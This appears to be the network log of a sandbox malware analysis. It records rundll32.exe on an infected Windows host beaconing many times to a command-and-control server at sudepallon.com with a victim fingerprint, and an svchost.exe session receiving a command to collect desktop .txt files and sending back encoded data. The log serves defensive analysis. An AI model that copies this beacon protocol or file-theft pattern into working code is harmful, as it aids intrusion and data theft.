Jul 9, 2021 03:08:03.144898891 CEST	353	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:03.211303949 CEST	354	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:04 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4a 48 53 51 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cJHSQARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.22	49219	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:03.508997917 CEST	354	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:03.576344967 CEST	355	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:05 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 54 47 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZTGAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.22	49220	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:03.856873035 CEST	356	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:03.922349930 CEST	356	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:05 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 59 48 53 42 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cYHSBARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.22	49221	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:04.197191954 CEST	357	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:04.262307882 CEST	357	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:05 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 54 59 42 47 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cTYBGARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.2.22	49222	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:04.546376944 CEST	358	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:04.616350889 CEST	358	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:06 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 42 56 45 59 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cBVEYARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.22	49223	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:04.905638933 CEST	359	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:04.970766068 CEST	359	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:06 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 41 5a 41 5a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cAZAZARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.22	49224	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:05.247622013 CEST	360	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:05.315228939 CEST	360	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:06 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4e 59 42 4d 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cNYBMARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.22	49171	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:07:44.459810019 CEST	294	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:07:44.530076981 CEST	295	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:07:46 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 46 5a 41 55 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cFZAUARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.2.22	49225	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:05.589504957 CEST	361	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:05.662805080 CEST	361	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:07 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 48 4e 4d 53 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cHNMSARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.2.22	49226	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:05.956391096 CEST	362	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:06.025240898 CEST	363	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:07 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 42 43 58 59 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cBCXYARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.2.22	49227	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:06.306303024 CEST	363	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:06.374591112 CEST	364	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:07 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 43 59 42 58 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cCYBXARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.2.22	49228	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:06.653908968 CEST	365	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:06.722950935 CEST	365	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:08 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4a 41 5a 51 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cJAZQARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.2.22	49229	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:07.010056019 CEST	366	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:07.077636003 CEST	366	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:08 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4e 42 59 4d 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cNBYMARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.2.22	49230	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:07.349283934 CEST	367	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:07.418070078 CEST	367	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:08 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 47 5a 41 54 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cGZATARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.2.22	49231	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:07.698235035 CEST	368	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:07.767000914 CEST	368	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:09 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 56 4e 4d 45 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cVNMEARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	192.168.2.22	49232	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:08.057290077 CEST	369	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:08.123681068 CEST	369	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:09 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 48 56 45 53 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cHVESARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
68	192.168.2.22	49233	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:08.396713018 CEST	370	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:08.464003086 CEST	370	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:10 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4b 4e 4d 50 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cKNMPARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
69	192.168.2.22	49234	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:08.748478889 CEST	371	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:08.820357084 CEST	372	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:10 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 59 42 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZYBAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	95.213.179.67	80	192.168.2.22	49172	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:07:44.821475029 CEST	296	IN	Data Raw: 00 27 00 00 00 01 00 00 00 15 25 75 73 65 72 70 72 6f 66 69 6c 65 25 5c 44 65 73 6b 74 6f 70 00 00 00 05 2a 2e 74 78 74 05 Data Ascii: '%userprofile%\Desktop*.txt
Jul 9, 2021 03:07:44.822108030 CEST	296	OUT	Data Raw: 0c 00 0f 0a 0b 0a 0b 0a Data Ascii:
Jul 9, 2021 03:07:44.822240114 CEST	296	OUT	Data Raw: 00 00 00 14 09 0a 0a 0a 1a 7a 65 79 Data Ascii: zey
Jul 9, 2021 03:07:44.822388887 CEST	296	OUT	Data Raw: 7a 7c 63 79 63 79 24 69 65 67 30 32 3a Data Ascii: z\|cycy$ieg02:
Jul 9, 2021 03:07:44.822526932 CEST	296	OUT	Data Raw: 00 00 00 12 0b 0a 0a 0a 04 3b 32 Data Ascii: ;2
Jul 9, 2021 03:07:44.822663069 CEST	296	OUT	Data Raw: 3f 24 3b 32 33 24 3b 3f 3a 24 3d 3a Data Ascii: ?$;23$;?:$=:
Jul 9, 2021 03:07:44.823609114 CEST	296	OUT	Data Raw: 00 00 00 28 07 0a 0a 0a 2e 6f 6b 32 3c 3a 6f 3d 6b 27 6b 32 3d 6c Data Ascii: (.ok2<:o=k'k2=l
